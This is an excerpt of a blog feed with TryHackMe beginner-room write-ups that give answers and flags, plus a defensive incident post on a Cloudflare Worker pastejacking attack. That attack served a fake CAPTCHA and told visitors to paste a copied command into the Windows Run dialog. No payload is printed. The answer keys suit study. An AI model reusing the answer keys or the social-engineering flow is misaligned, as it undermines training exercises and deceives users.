&lt;p&gt;&amp;#x3C;www.iamlearning.thm&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What would be the scheme in the following URL? &lt;code&gt;https://www.iamlearning.thm/contact&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;https&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;This room wrapped up the basics of how internet devices offer services to one another using the client-server model, where the client initiates and the server responds. It also provided a practical look into the HTTP protocol to show what client requests and server responses look like behind the scenes. The next step is to explore the infrastructure that supports these services by looking into virtualization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On to the next room!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.DzeI6gVj.webp"/><enclosure url="/_astro/1.DzeI6gVj.webp"/></item><item><title>Data Representation | TryHackMe Write-up</title><link>https://farros.co/blog/data-representation-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/data-representation-tryhackme-write-up/</guid><description>Complete walkthrough for Data Representation TryHackme room. Learn about how computers represent numbers and colors.</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/datarepresentation&quot;&gt;Data Representation&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces the foundational concept of how computers use the binary system (0s and 1s) to represent data, in contrast to the decimal system (0-9) used by humans. The learning objectives cover how computers represent colors (from 8 basic colors to over 16 million) and understand various numerical systems, including binary, hexadecimal, and octal numbers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is time to dive into computer colors!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Representing Colors&lt;/h2&gt;
&lt;p&gt;This section explains how computer screens generate colors using Red, Green, and Blue (RGB) light. It starts with a simple 3-bit system (yielding 8 basic colors) and scales up to a 24-bit system where each color gets a full byte (8 bits), creating over 16.7 million possible color combinations. To make these long 24-bit binary strings easier to read and write, the hexadecimal system is used, where every 4 bits are grouped into a single hex digit (e.g., &lt;code&gt;#A3EA2A&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CcolTScZ_Z1XSzys.webp&quot; alt=&quot;color decoder tryhackme&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Preview the color &lt;code&gt;#3BC81E&lt;/code&gt;. In one word, what does this color appear to be?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Green&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the binary representation of the color &lt;code&gt;#EB0037&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;11101011 00000000 00110111&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the decimal representation of the color &lt;code&gt;#D4D8DF&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;212 216 223&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Numbers: From Decimal to Hexadecimal&lt;/h2&gt;
&lt;p&gt;This task breaks down the mathematics behind different number bases. It explains that the decimal system (base-10) uses powers of 10, while digital systems rely on binary (base-2) using powers of 2. It demonstrates how to mathematically convert binary strings into decimal numbers. Furthermore, it details the hexadecimal (base-16, digits 0-F) and octal (base-8, digits 0-7) systems, providing formulas and examples for converting them back to our standard decimal format.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the hexadecimal &lt;code&gt;FF&lt;/code&gt; in binary?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.hOpB2Qz6_Z1PFnsO.webp&quot; alt=&quot;base converter | tryhackme&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this section, we only need to fill in the values ​​of the questions in the hexadecimal representation column. And next too.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1111 1111&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the hexadecimal &lt;code&gt;AB&lt;/code&gt; in decimal?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;171&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Convert the hexadecimal &lt;code&gt;FF FF FF&lt;/code&gt; to decimal. After you round up the decimal value to the nearest million, how many millions is that?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;17&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;The final section summarizes the core concepts covered in the room, recapping the four main number systems: Decimal (Base-10), Binary (Base-2), Hexadecimal (Base-16), and Octal (Base-8). It also reviews the basic units of digital data—bits and bytes (octets)—and how they combine to represent millions of hex colors. Finally, it sets the stage for the next topic on how text and emojis are encoded.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is time to join the Data Encoding room and dive deeper into bits.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.CtnvXSRD.webp"/><enclosure url="/_astro/1.CtnvXSRD.webp"/></item><item><title>The Phantom Edge: A Cloudflare Pastejacking Attack</title><link>https://farros.co/blog/the-phantom-edge-a-cloudflare-pastejacking-attack/</link><guid isPermaLink="true">https://farros.co/blog/the-phantom-edge-a-cloudflare-pastejacking-attack/</guid><description>My static site served a fake reCAPTCHA. Here is a forensic breakdown of a Cloudflare Worker pastejacking attack and how I stopped it.</description><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It was supposed to be a regular day. I opened my browser, navigated to one of my web projects, and was greeted by something that immediately triggered my infosec paranoia: a reCAPTCHA verification prompt.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Wait a minute,&lt;/em&gt; I thought. &lt;em&gt;This site is built entirely on Astro.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For the uninitiated, Astro is a Static Site Generator (SSG). It spits out highly optimized, pure HTML, CSS, and minimal JavaScript. There is no backend rendering on the fly, no database to inject into, and absolutely no native reCAPTCHA integrated into this specific build. Seeing a dynamic, interactive &quot;security&quot; prompt on a purely static page is like finding a working television in the middle of the Jurassic period. It simply shouldn&apos;t be there.&lt;/p&gt;
&lt;p&gt;So, where was this payload coming from? The answer lay not in the server, but in the delivery. I was looking at a textbook Edge Infrastructure compromise.&lt;/p&gt;
&lt;p&gt;Here is a detailed of how my Cloudflare account was weaponized to serve a Living-off-the-Land (LotL) Pastejacking attack, and how I nuked it from orbit.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Stage 1: The Illusion of the Origin and the Edge Intercept&lt;/h2&gt;
&lt;p&gt;When you use a CDN and Web Application Firewall (WAF) like Cloudflare, your architecture fundamentally changes. Your users don&apos;t talk to your server; they talk to Cloudflare&apos;s Edge network, which then fetches content from your server. It&apos;s a fantastic mechanism for speed and security, but it introduces a massive single point of failure: if an attacker controls your Edge routing, they control reality for your users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/3.Dg0TL8ji_Z14bcIa.webp&quot; alt=&quot;Cloudflare Worker Dashboard here&quot;&gt;&lt;/p&gt;
&lt;p&gt;Upon inspecting my Cloudflare dashboard, the anomaly was glaringly obvious. Hidden in the &lt;strong&gt;Workers &amp;#x26; Pages&lt;/strong&gt; section was a rogue script running under the name &lt;code&gt;worker-white-shadow-3de7&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cloudflare Workers allow developers to run serverless JavaScript or Rust code directly on Cloudflare&apos;s global edge network. They are designed to intercept requests, modify responses, and handle routing before the traffic ever hits the origin server.&lt;/p&gt;
&lt;p&gt;The attacker had successfully deployed this malicious Worker and bound it to the wildcard routes of my domains (e.g., &lt;code&gt;*mydomain.com/*&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/2.BWaMY6m6_Z2iXUvm.webp&quot; alt=&quot;Domain Routes binding here&quot;&gt;&lt;/p&gt;
&lt;p&gt;This meant every single HTTP request made to my static Astro site was being intercepted by this Worker. The Worker acted as a Man-in-the-Middle (MitM). It took the clean HTML generated by Astro, injected a malicious JavaScript payload into the DOM, and served the poisoned HTML to the visitor. My origin server was innocent, but the delivery mechanism was completely compromised.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Stage 2: The Social Engineering Trap (Pastejacking)&lt;/h2&gt;
&lt;p&gt;Once the malicious Worker successfully injected the script into the victim&apos;s browser, the second phase of the attack commenced. This wasn&apos;t a silent drive-by download exploiting a browser zero-day. Instead, it relied on a much older, highly effective vulnerability: human psychology.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/7.B-wlmgOo_Z2v0ohy.webp&quot; alt=&quot;Fake reCAPTCHA prompt here&quot;&gt;&lt;/p&gt;
&lt;p&gt;The payload rendered an overlay that perfectly mimicked a generic CAPTCHA challenge: &lt;em&gt;&quot;Verify you are human. Click &apos;I&apos;m not a robot&apos;.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This is where the technique known as &lt;strong&gt;Pastejacking&lt;/strong&gt; (or Clipboard Poisoning) comes into play. The visual button is completely fake. It&apos;s not communicating with Google&apos;s reCAPTCHA servers. Instead, it is bound to an invisible JavaScript event listener utilizing the asynchronous Clipboard API (&lt;code&gt;navigator.clipboard.writeText&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;When an unsuspecting user clicks that button, thinking they are solving a CAPTCHA, the malicious script silently copies a heavily obfuscated command-line payload directly into their operating system&apos;s clipboard.&lt;/p&gt;
&lt;p&gt;Immediately after the click, the UI changes, presenting the victim with a bizarre set of instructions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/9.Cssw1KEJ_BpmP0.webp&quot; alt=&quot;&amp;#x22;Win + R&amp;#x22; instructions here&quot;&gt;&lt;/p&gt;
&lt;p&gt;The prompt instructs the user to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Press &lt;code&gt;Windows Key + R&lt;/code&gt; (This opens the Windows Run dialog).&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;Ctrl + V&lt;/code&gt; (This pastes the poisoned payload they unknowingly copied in the previous step).&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;Enter&lt;/code&gt; (This executes the payload with the privileges of the current user).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It sounds ridiculous to a seasoned IT professional. &lt;em&gt;Who would blindly paste and run a command from a website?&lt;/em&gt; But to a non-technical user conditioned to jump through hoops to access content, following instructions on a screen under the guise of &quot;human verification&quot; is dangerously plausible.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Stage 3: Living off the Land (LotL) Execution&lt;/h2&gt;
&lt;p&gt;So, what exactly was the payload trying to execute?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/10.BOKY1Ax3_Z2cotqL.webp&quot; alt=&quot;rundll32 Network Error&quot;&gt;&lt;/p&gt;
&lt;p&gt;Based on the errors generated when the payload failed to execute smoothly, the attacker was utilizing a &lt;strong&gt;Living off the Land (LotL)&lt;/strong&gt; technique. The error specifically mentioned: &lt;code&gt;Network Error: Windows cannot access C:\WINDOWS\system32\rundll32.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;LotL attacks are insidious because they don&apos;t drop a standalone, easily detectable executable (like a &lt;code&gt;.exe&lt;/code&gt; virus) onto the disk. Instead, they hijack legitimate, built-in system administration tools—like PowerShell, WMI, or in this case, &lt;code&gt;rundll32.exe&lt;/code&gt;—to do their dirty work.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rundll32.exe&lt;/code&gt; is a standard Windows utility used to load dynamic-link libraries (.dll files) into memory. Attackers love it because it&apos;s a trusted Microsoft binary, meaning it often bypasses basic Antivirus and Application Whitelisting rules.&lt;/p&gt;
&lt;p&gt;The attacker&apos;s pasted command was likely structured to force &lt;code&gt;rundll32.exe&lt;/code&gt; to reach out over the network (likely via an SMB/UNC path or a crafted web request), download a malicious DLL payload from an external Command and Control (C2) server, and execute it directly in system memory.&lt;/p&gt;
&lt;p&gt;The fact that it threw a &quot;Network Error&quot; suggests that either the endpoint&apos;s EDR (Endpoint Detection and Response) caught the anomalous behavior and blocked the outgoing connection, or the attacker&apos;s C2 server was temporarily down. Regardless, the intent was a full system compromise, likely aiming to drop an info-stealer or ransomware.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;The Incident Response: Nuking the Threat&lt;/h2&gt;
&lt;p&gt;Identifying the threat is only half the battle; eradicating it quickly is the priority. My remediation process was straightforward but required immediate action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Severing the Edge Connection&lt;/strong&gt;
The immediate fix was to kill the rogue Worker. I navigated to the Cloudflare dashboard, unbinded all the routes associated with &lt;code&gt;worker-white-shadow-3de7&lt;/code&gt;, and deleted the Worker entirely. Finally, I purged the Cloudflare cache globally to ensure no poisoned HTML remained in the edge nodes. The site was instantly clean again.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The Root Cause and Credential Rotation&lt;/strong&gt;
How did the attacker deploy the Worker in the first place? Cloudflare Workers aren&apos;t created by magic; they require authenticated API access or a compromised dashboard session.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/1.BHmPDRAR_ZKpT6s.webp&quot; alt=&quot;API Tokens dashboard&quot;&gt;&lt;/p&gt;
&lt;p&gt;The most likely vector was a compromised API token or a hijacked session cookie. It’s highly probable that my credentials were swept up in an info-stealer malware log from another machine, or an overly permissive API token was leaked or abused.&lt;/p&gt;
&lt;p&gt;The solution was absolute:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I immediately revoked all existing API tokens.&lt;/li&gt;
&lt;li&gt;I changed my Cloudflare account password.&lt;/li&gt;
&lt;li&gt;I verified that my Hardware Key / Time-based One-Time Password (TOTP) 2FA was still securely intact and hadn&apos;t been tampered with.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Opinion: The Shifting Perimeter and the Danger of the Edge&lt;/h2&gt;
&lt;p&gt;This incident serves as a stark reminder that the modern security perimeter is incredibly fluid. We spend so much time hardening our origin servers, configuring iptables, and writing secure application code, only to forget that the infrastructure layer &lt;em&gt;above&lt;/em&gt; the application holds ultimate power.&lt;/p&gt;
&lt;p&gt;An attack on the Edge is an attack on reality. If an attacker controls your DNS or your CDN, your pristine, perfectly secure static site becomes a weapon. They don&apos;t need to hack your code; they just need to hijack the pipes delivering it.&lt;/p&gt;
&lt;p&gt;Furthermore, the reliance on &lt;strong&gt;Social Engineering coupled with LotL techniques&lt;/strong&gt; highlights a terrifying trend. Attackers are bypassing complex endpoint security not by writing better malware, but by convincing the end-user to execute native system commands for them. The &quot;Fake reCAPTCHA to Clipboard&quot; pipeline is a brilliant, albeit malicious, piece of UX design aimed at exploiting human trust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Takeaway:&lt;/strong&gt;
If you manage infrastructure, treat your CDN and DNS provider accounts with the same paranoia as your root server access.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Audit your API Tokens regularly:&lt;/strong&gt; Never use global API keys. Scope them strictly to the specific resources and actions they need.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor Edge Deployments:&lt;/strong&gt; Set up alerts for any new Workers or DNS changes in your account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assume Compromise:&lt;/strong&gt; Even if your underlying tech stack (like an SSG) is inherently secure against server-side injection, the delivery network is always a potential attack vector.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Stay paranoid, rotate your keys, and don&apos;t trust the Edge implicitly. Anyway, Thanks for reading and see you in the next write-up.&lt;/p&gt;</content:encoded><h:img src="/_astro/unnamed.CyOvL794.webp"/><enclosure url="/_astro/unnamed.CyOvL794.webp"/></item><item><title>Linux CLI Basics | TryHackMe Write-up</title><link>https://farros.co/blog/linux-cli-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/linux-cli-basics-tryhackme-write-up/</guid><description>Complete walkthrough for Linux CLI Basics TryHackme room. Get comfortable navigating through the Linux CLI.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/linuxclibasics&quot;&gt;Linux CLI Basics&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; This task introduces the Linux Command-Line Interface (CLI) as an essential tool for navigating servers, using security tools, and setting up hacking environments. It establishes a storyline where you play a new IT Support Engineer tasked with learning basic terminal navigation to find your supervisor&apos;s notes.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/operatingsystemsintroduction&quot;&gt;Operating Systems: Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/windowsbasics&quot;&gt;Windows Basics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What does &quot;CLI&quot; stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Command-Line Interface&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Navigation Mission: &quot;Find the Missing Notes&quot;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; This section teaches the fundamental commands for navigating the Linux filesystem. You learn &lt;code&gt;pwd&lt;/code&gt; to print your current directory, &lt;code&gt;ls&lt;/code&gt; (along with &lt;code&gt;-l&lt;/code&gt; and &lt;code&gt;-al&lt;/code&gt; flags) to list files including hidden ones, and &lt;code&gt;cd&lt;/code&gt; to change directories. It also introduces the &lt;code&gt;find&lt;/code&gt; command to locate specific files across the system and the &lt;code&gt;cat&lt;/code&gt; command to read their contents, culminating in finding a file named &lt;code&gt;mission_brief.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the full path of the mission_brief.txt file found on the system using the find command?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.kulK1HIY_Z2nAzJ5.webp&quot; alt=&quot;find&quot;&gt;&lt;/p&gt;
&lt;p&gt;Just run and wait for the complete path to appear.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/home/ubuntu/Documents/.research/archive/mission_brief.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the flag hidden inside the mission_brief.txt file?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;then run the script to the full path with the cat command&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CbjLnT7R_1pV2gX.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MISSION-FOUND&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Investigating the System&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; Here, the focus shifts to gathering system information to understand the environment you are operating in. You are introduced to &lt;code&gt;whoami&lt;/code&gt; to check your current user, &lt;code&gt;uname -a&lt;/code&gt; to get kernel and architecture details, and &lt;code&gt;df -h&lt;/code&gt; to check disk space in a human-readable format. Additionally, you learn to explore the &lt;code&gt;/etc&lt;/code&gt; directory to read configuration files like &lt;code&gt;os-release&lt;/code&gt;. The task ends with a mini-challenge to find and read a file called &lt;code&gt;day1_report.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the username returned by the &lt;code&gt;whoami&lt;/code&gt; command?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ubuntu&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the kernel version shown by &lt;code&gt;uname -a&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BGQqu2pv_Z11lAuU.webp&quot; alt=&quot;uname -a&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;6.14.0-1018-aws&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;How much free disk space does &lt;code&gt;df -h&lt;/code&gt; report?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;58G&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the message written inside day1_report.txt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can run this script first to find the file path: find ~ -name day1_report.txt&lt;/p&gt;
&lt;p&gt;Once found, it&apos;s at this path: /home/ubuntu/.logs/archive/day1_report.txt&lt;/p&gt;
&lt;p&gt;Just run it with the cat command: cat /home/ubuntu/.logs/archive/day1_report.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.NU18aFIv_1scj.webp&quot; alt=&quot;find file&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;END-OF-DAY1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; This final task summarizes the skills acquired during your &quot;first day&quot; on the job. It recaps that you have successfully learned to navigate the filesystem, search for files, inspect system info, and read configs. These basics serve as the foundation for learning more advanced Linux topics like file permissions, processes, and security tooling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Continue to complete the room.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.CeE0ZQbl.webp"/><enclosure url="/_astro/1.CeE0ZQbl.webp"/></item><item><title>Windows Basics | TryHackMe Write-up</title><link>https://farros.co/blog/windows-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/windows-basics-tryhackme-write-up/</guid><description>Complete walkthrough for Windows Basics TryHackme room. Learn to navigate Windows, manage files, and use essential system tools.</description><pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/windowsbasics&quot;&gt;Windows Basics&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This task introduces the Microsoft Windows operating system, setting the scenario as your first day working at &quot;TryHatMe.&quot; It outlines the learning objectives, such as navigating the graphical interface, using File Explorer, adjusting system settings, and utilizing basic tools like Task Manager. Prerequisites for this room include a foundational understanding of computer components and what an operating system is.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/insideacomputer&quot;&gt;Inside a Computer System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/computertypes&quot;&gt;Computer Types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/operatingsystemsintroduction&quot;&gt;Operating Systems: Introduction&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I understand the learning objectives and am ready to learn about Windows!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Exploring the Windows Workspace&lt;/h2&gt;
&lt;p&gt;This section covers the evolution of Windows from early command-line interfaces to the modern GUI. It explains user authentication levels (Guest, Standard, Administrator) and breaks down the core elements of the Windows desktop, including the Taskbar, Start Menu, and built-in apps like File Explorer and Notepad. Finally, it guides you on how to check your machine&apos;s hardware and OS specifications using the &quot;About your PC&quot; settings and how to navigate the system&apos;s hierarchical folder structure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please ensure the virtual machine is open in split-screen, then take a look at the computer&apos;s Desktop. After opening About your PC, navigate to the Device specifications section. What is the Device name specified?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DrhvG3Ep_ZP1hN5.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;just follow the instruction&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TryHatMe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Continue looking through the Device specifications. How much RAM is installed on your new work PC?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;4.00 GB&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Scroll down to the Windows specifications section. Which Version of Windows Server 2019 Datacenter is installed?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1809&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Explore the TryHatMe Onboarding folder located on your computer&apos;s Desktop. What is the flag value found within Welcome.txt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Dp13Xmwk_Z19yiX4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{welcome_to_tryhatme!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Configuring and Securing Windows&lt;/h2&gt;
&lt;p&gt;This task focuses on application management, system configuration, and built-in security. It explains how to update, install (.exe/.msi files), and uninstall applications. You are introduced to the modern Windows Settings app and the legacy Control Panel for system configurations. Additionally, it covers how to monitor real-time system performance using Task Manager, run custom malware scans via Windows Security, and understand network traffic rules using the Windows Defender Firewall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use the TryHatMeWelcome installer located within the TryHatMe Onboarding folder. What is the flag value you receive after installing and running the application?&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Hello New Employee,

Welcome to the TryHatMe team!

Within this folder, you will find everything you need to get started with your onboarding tasks.
These files will be used throughout the room to help you practice navigating Windows, managing files and folders, and exploring built-in tools.

Take some time to review the contents, follow the instructions carefully, and don’t hesitate to explore. This environment is safe to experiment in.

Good luck, and welcome aboard!

flag: THM{welcome_to_tryhatme!}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{welcome_to_tryhatme!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Investigate the Time &amp;#x26; Language section of the Windows Settings app. Which country or region is your computer currently set to?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the region settings and see if United States is the answer.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;United States&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Open the Task Manager on your workstation&apos;s Desktop and navigate to the Users tab. Which account is currently logged in?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can right click and then click Task Manager.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Administrator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;After performing your custom scan, click Virus:DOS/EICAR_Test_File and select See details. What is the file name shown in the Affected items section?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Simply click Windows, then search for virus and threat protection. Then click quick scan. After that, view the results.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.DpdYbJ2g_Z1enzAa.webp&quot; alt=&quot;virus&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;tryhatmemaldoc.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;The final task wraps up the &quot;Windows Basics&quot; room, summarizing the hands-on experience you gained while navigating Windows Server 2019. It provides a helpful glossary of key terminology covered in the room (such as Desktop, Start Menu, File Explorer, and Task Manager) and recommends further learning paths, specifically pointing toward command-line interface (CLI) basics for both Linux and Windows.&lt;/p&gt;
